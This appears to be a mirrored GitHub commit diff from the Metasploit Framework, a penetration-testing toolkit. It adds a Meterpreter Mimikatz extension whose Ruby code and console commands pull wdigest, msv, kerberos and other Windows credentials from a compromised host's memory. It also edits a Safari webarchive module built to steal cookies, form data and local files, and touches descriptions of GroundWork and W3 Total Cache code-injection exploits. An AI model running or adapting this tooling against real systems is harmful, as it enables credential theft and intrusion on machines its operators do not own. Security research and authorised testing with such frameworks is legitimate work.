mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Merge branch 'master' of https://github.com/rapid7/metasploit-framework
This commit is contained in:
commit
a7e4ba5015
BIN
data/meterpreter/ext_server_mimikatz.dll
Executable file
BIN
data/meterpreter/ext_server_mimikatz.dll
Executable file
Binary file not shown.
BIN
data/meterpreter/ext_server_mimikatz.x64.dll
Executable file
BIN
data/meterpreter/ext_server_mimikatz.x64.dll
Executable file
Binary file not shown.
@ -376,9 +376,9 @@ module Exploit::Remote::HttpServer
|
||||
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
|
||||
#
|
||||
# The address portion should be something a client would be able to route,
|
||||
# but see +srvhost_addr+ for caveats.
|
||||
# but see {#srvhost_addr} for caveats.
|
||||
#
|
||||
def get_uri(cli=nil)
|
||||
def get_uri(cli=self.cli)
|
||||
ssl = !!(datastore["SSL"])
|
||||
proto = (ssl ? "https://" : "http://")
|
||||
if (cli and cli.peerhost)
|
||||
@ -405,7 +405,7 @@ module Exploit::Remote::HttpServer
|
||||
end
|
||||
|
||||
#
|
||||
# Return an address to which the client can route.
|
||||
# An address to which the client can route.
|
||||
#
|
||||
# If available, return LHOST which should be the right thing since it
|
||||
# already has to be an address the client can route to for the payload to
|
||||
@ -416,28 +416,39 @@ module Exploit::Remote::HttpServer
|
||||
# bind payload but there's nothing we can do about it.
|
||||
#
|
||||
# NOTE: The address will be *incorrect* in the following two situations:
|
||||
# 1) LHOST is pointed at a multi/handler on some other box.
|
||||
# 2) SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||||
# 1. LHOST is pointed at a multi/handler on some other box.
|
||||
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||||
# using a bind payload. In that case, we don't have an LHOST and
|
||||
# the source address will be internal.
|
||||
#
|
||||
# This can potentially be dealt with in a module by using the Host header
|
||||
# from a request if such a header exists.
|
||||
#
|
||||
# @return [String]
|
||||
def srvhost_addr
|
||||
if (datastore['LHOST'])
|
||||
if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
|
||||
host = datastore["LHOST"]
|
||||
else
|
||||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||
if (sock and sock.peerhost)
|
||||
if (respond_to?(:sock) and sock and sock.peerhost)
|
||||
# Then this is a Passive-Aggressive module. It has a socket
|
||||
# connected to the remote server from which we can deduce the
|
||||
# appropriate source address.
|
||||
host = Rex::Socket.source_address(sock.peerhost)
|
||||
else
|
||||
# Otherwise, this module is only a server, not a client, *and*
|
||||
# the payload does not have an LHOST option. This can happen,
|
||||
# for example, with a browser exploit using a download-exec
|
||||
# payload. In that case, just use the address of the interface
|
||||
# with the default gateway and hope for the best.
|
||||
host = Rex::Socket.source_address
|
||||
end
|
||||
else
|
||||
host = datastore['SRVHOST']
|
||||
end
|
||||
end
|
||||
|
||||
host
|
||||
end
|
||||
|
||||
#
|
||||
@ -1094,10 +1105,14 @@ module Exploit::Remote::HttpServer::PHPInclude
|
||||
end
|
||||
|
||||
#
|
||||
# Return the PHP include URL (pre-encoded)
|
||||
# The PHP include URL (pre-encoded)
|
||||
#
|
||||
# Does not take SSL into account. For the reasoning behind this, see +exploit+.
|
||||
# Does not take SSL into account. For the reasoning behind this, see
|
||||
# {#exploit}.
|
||||
#
|
||||
# @return [String] The URL to be used as the argument in a call to
|
||||
# +require+, +require_once+, or +include+ or +include_once+ in a
|
||||
# vulnerable PHP app.
|
||||
def php_include_url(sock=nil)
|
||||
host = srvhost_addr
|
||||
if Rex::Socket.is_ipv6?(host)
|
||||
|
118
lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb
Normal file
118
lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb
Normal file
@ -0,0 +1,118 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/extensions/mimikatz/tlv'
|
||||
require 'csv'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Mimikatz
|
||||
|
||||
###
|
||||
#
|
||||
# Mimikatz extension - grabs credentials from windows memory.
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by Ben Campbell (Meatballs)
|
||||
###
|
||||
|
||||
class Mimikatz < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'mimikatz')
|
||||
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'mimikatz',
|
||||
'ext' => self
|
||||
},
|
||||
])
|
||||
end
|
||||
|
||||
def send_custom_command(function, args=[])
|
||||
request = Packet.create_request('mimikatz_custom_command')
|
||||
request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
|
||||
args.each do |a|
|
||||
request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
|
||||
end
|
||||
response = client.send_request(request)
|
||||
return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
|
||||
end
|
||||
|
||||
def parse_creds_result(result)
|
||||
details = CSV.parse(result)
|
||||
accounts = []
|
||||
details.each do |acc|
|
||||
account = {
|
||||
:authid => acc[0],
|
||||
:package => acc[1],
|
||||
:user => acc[2],
|
||||
:domain => acc[3],
|
||||
:password => acc[4]
|
||||
}
|
||||
accounts << account
|
||||
end
|
||||
return accounts
|
||||
end
|
||||
|
||||
def parse_ssp_result(result)
|
||||
details = CSV.parse(result)
|
||||
accounts = []
|
||||
details.each do |acc|
|
||||
ssps = acc[4].split(' }')
|
||||
ssps.each do |ssp|
|
||||
s_acc = ssp.split(' ; ')
|
||||
user = s_acc[0].split('{ ')[1]
|
||||
account = {
|
||||
:authid => acc[0],
|
||||
:package => acc[1],
|
||||
:user => user,
|
||||
:domain => s_acc[1],
|
||||
:password => s_acc[2],
|
||||
:orig_user => acc[2],
|
||||
:orig_domain => acc[3]
|
||||
}
|
||||
accounts << account
|
||||
end
|
||||
end
|
||||
return accounts
|
||||
end
|
||||
|
||||
def wdigest
|
||||
result = send_custom_command('sekurlsa::wdigest')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def msv
|
||||
result = send_custom_command('sekurlsa::msv')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def livessp
|
||||
result = send_custom_command('sekurlsa::livessp')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def ssp
|
||||
result = send_custom_command('sekurlsa::ssp')
|
||||
return parse_ssp_result(result)
|
||||
end
|
||||
|
||||
def tspkg
|
||||
result = send_custom_command('sekurlsa::tspkg')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def kerberos
|
||||
result = send_custom_command('sekurlsa::kerberos')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
16
lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb
Normal file
16
lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb
Normal file
@ -0,0 +1,16 @@
|
||||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Mimikatz
|
||||
|
||||
TLV_TYPE_MIMIKATZ_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_MIMIKATZ_FUNCTION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_MIMIKATZ_ARGUMENT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -0,0 +1,179 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
###
|
||||
#
|
||||
# Mimikatz extension - grabs credentials from windows memory.
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by Ben Campbell (Meatballs)
|
||||
###
|
||||
class Console::CommandDispatcher::Mimikatz
|
||||
|
||||
Klass = Console::CommandDispatcher::Mimikatz
|
||||
|
||||
include Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Initializes an instance of the priv command interaction.
|
||||
#
|
||||
def initialize(shell)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
"mimikatz_command" => "Run a custom commannd",
|
||||
"wdigest" => "Attempt to retrieve wdigest creds",
|
||||
"msv" => "Attempt to retrieve msv creds (hashes)",
|
||||
"livessp" => "Attempt to retrieve livessp creds",
|
||||
"ssp" => "Attempt to retrieve ssp creds",
|
||||
"tspkg" => "Attempt to retrieve tspkg creds",
|
||||
"kerberos" => "Attempt to retrieve kerberos creds"
|
||||
}
|
||||
end
|
||||
|
||||
@@command_opts = Rex::Parser::Arguments.new(
|
||||
"-f" => [true, "The function to pass to the command."],
|
||||
"-a" => [true, "The arguments to pass to the command."],
|
||||
"-h" => [false, "Help menu."]
|
||||
)
|
||||
|
||||
def cmd_mimikatz_command(*args)
|
||||
if (args.length == 0)
|
||||
args.unshift("-h")
|
||||
end
|
||||
|
||||
cmd_args = nil
|
||||
cmd_func = nil
|
||||
arguments = []
|
||||
|
||||
@@command_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-a"
|
||||
cmd_args = val
|
||||
when "-f"
|
||||
cmd_func = val
|
||||
when "-h"
|
||||
print(
|
||||
"Usage: mimikatz_command -f func -a args\n\n" +
|
||||
"Executes a mimikatz command on the remote machine.\n" +
|
||||
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
|
||||
@@command_opts.usage)
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
unless cmd_func
|
||||
print_error("You must specify a function with -f")
|
||||
return true
|
||||
end
|
||||
|
||||
if cmd_args
|
||||
arguments = cmd_args.split(" ")
|
||||
end
|
||||
|
||||
print client.mimikatz.send_custom_command(cmd_func, arguments)
|
||||
print_line
|
||||
end
|
||||
|
||||
def mimikatz_request(provider, method)
|
||||
get_privs
|
||||
print_status("Retrieving #{provider} credentials")
|
||||
accounts = method.call
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
'AuthID', 'Package', 'Domain', 'User', 'Password'
|
||||
]
|
||||
)
|
||||
|
||||
accounts.each do |acc|
|
||||
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
|
||||
end
|
||||
|
||||
print_status table.to_s
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def cmd_wdigest(*args)
|
||||
method = Proc.new { client.mimikatz.wdigest }
|
||||
mimikatz_request("wdigest", method)
|
||||
end
|
||||
|
||||
def cmd_msv(*args)
|
||||
method = Proc.new { client.mimikatz.msv }
|
||||
mimikatz_request("msv", method)
|
||||
end
|
||||
|
||||
def cmd_livessp(*args)
|
||||
method = Proc.new { client.mimikatz.livessp }
|
||||
mimikatz_request("livessp", method)
|
||||
end
|
||||
|
||||
def cmd_ssp(*args)
|
||||
method = Proc.new { client.mimikatz.ssp }
|
||||
mimikatz_request("ssp", method)
|
||||
end
|
||||
|
||||
def cmd_tspkg(*args)
|
||||
method = Proc.new { client.mimikatz.tspkg }
|
||||
mimikatz_request("tspkg", method)
|
||||
end
|
||||
|
||||
def cmd_kerberos(*args)
|
||||
method = Proc.new { client.mimikatz.kerberos }
|
||||
mimikatz_request("kerberos", method)
|
||||
end
|
||||
|
||||
def get_privs
|
||||
unless system_check
|
||||
print_status("Attempting to getprivs")
|
||||
privs = client.sys.config.getprivs
|
||||
unless privs.include? "SeDebugPrivilege"
|
||||
print_warning("Did not get SeDebugPrivilege")
|
||||
else
|
||||
print_good("Got SeDebugPrivilege")
|
||||
end
|
||||
else
|
||||
print_good("Running as SYSTEM")
|
||||
end
|
||||
end
|
||||
|
||||
def system_check
|
||||
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
|
||||
print_warning("Not currently running as SYSTEM")
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
"Mimikatz"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Author' => 'joev',
|
||||
'References' =>
|
||||
[
|
||||
# none yet
|
||||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 22 2013',
|
||||
'Actions' =>
|
||||
@ -50,6 +50,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
|
||||
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http//browserscan.rapid7.com/']),
|
||||
OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
|
||||
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']),
|
||||
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
|
||||
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
|
||||
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
|
||||
OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]),
|
||||
@ -143,7 +145,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
@ -153,6 +155,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
|
||||
# Add path to download
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
resp = Rex::Proto::Http::Response::OK.new
|
||||
resp['Content-Type'] = 'application/x-webarchive'
|
||||
resp.body = @xml.to_s
|
||||
cli.send_response resp
|
||||
},
|
||||
'Path' => webarchive_download_url
|
||||
}.update(opts['Uri'] || {})
|
||||
@http_service.add_resource(webarchive_download_url, uopts)
|
||||
|
||||
print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}")
|
||||
|
||||
# As long as we have the http_service object, we will keep the ftp server alive
|
||||
while @http_service
|
||||
select(nil, nil, nil, 1)
|
||||
@ -176,9 +192,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# @return [String] contents of webarchive as an XML document
|
||||
def webarchive_xml
|
||||
xml = webarchive_header
|
||||
urls.each_with_index { |url, idx| xml << webarchive_iframe(url, idx) }
|
||||
xml << webarchive_footer
|
||||
return @xml if not @xml.nil? # only compute xml once
|
||||
@xml = webarchive_header
|
||||
urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) }
|
||||
@xml << webarchive_footer
|
||||
end
|
||||
|
||||
# @return [String] the first chunk of the webarchive file, containing the WebMainResource
|
||||
@ -288,8 +305,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data];
|
||||
# [a encodeObject:response forKey:@"WebResourceResponse"];
|
||||
def web_response_xml(script)
|
||||
# this is a binary plist, but im too lazy to write a real encoder.
|
||||
# ripped this straight out of a safari webarchive save.
|
||||
# this is a serialized NSHTTPResponse, i'm too lazy to write a
|
||||
# real encoder so yay lets use string interpolation.
|
||||
# ripped this straight out of a webarchive save
|
||||
script['content-length'] = script[:body].length
|
||||
whitelist = %w(content-type content-length date etag
|
||||
Last-Modified cache-control expires)
|
||||
@ -711,7 +729,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Array<String>>] list of URLs for remote javascripts that are cacheable
|
||||
# @return [Array<Array<Hash>>] list of headers returned by cacheabke remote javascripts
|
||||
def find_cached_scripts
|
||||
cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i|
|
||||
begin
|
||||
@ -780,6 +798,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
"#{proto}://#{myhost}#{port_str}"
|
||||
end
|
||||
|
||||
# @return [String] URL that serves the malicious webarchive
|
||||
def webarchive_download_url
|
||||
datastore["DOWNLOAD_PATH"]
|
||||
end
|
||||
|
||||
# @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen
|
||||
# via the FILE_URLS module option.
|
||||
def interesting_file_urls
|
||||
|
@ -20,8 +20,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in GroundWork 6.7.0. This software
|
||||
is used for network, application and cloud monitoring. The vulnerability exists in
|
||||
the monarch_scan.cgi, where user controlled input is used in the perl qx function,
|
||||
which allows any remote authenticated attacker, whatever his privileges are, to
|
||||
the monarch_scan.cgi where user controlled input is used in the perl qx function.
|
||||
This allows any remote authenticated attacker, regardless of privileges, to
|
||||
inject system commands and gain arbitrary code execution. The module has been tested
|
||||
successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
|
||||
based VM appliance.
|
||||
|
@ -17,11 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a PHP Code Injection vulnerability against Wordpress plugin
|
||||
W3 Total Cache for version up to and including 0.9.2.8. WP Super Cache 1.2 or older
|
||||
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
|
||||
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
||||
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
||||
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
||||
then the module will automatically brute-force one. Also, if anonymous comments
|
||||
then the module will automatically bruteforce one. Also, if anonymous comments
|
||||
aren't allowed, then a valid username and password must be provided. In addition,
|
||||
the "A comment is held for moderation" option on Wordpress must be unchecked for
|
||||
successful exploitation. This module has been tested against Wordpress 3.5 and
|
||||
|
Loading…
Reference in New Issue
Block a user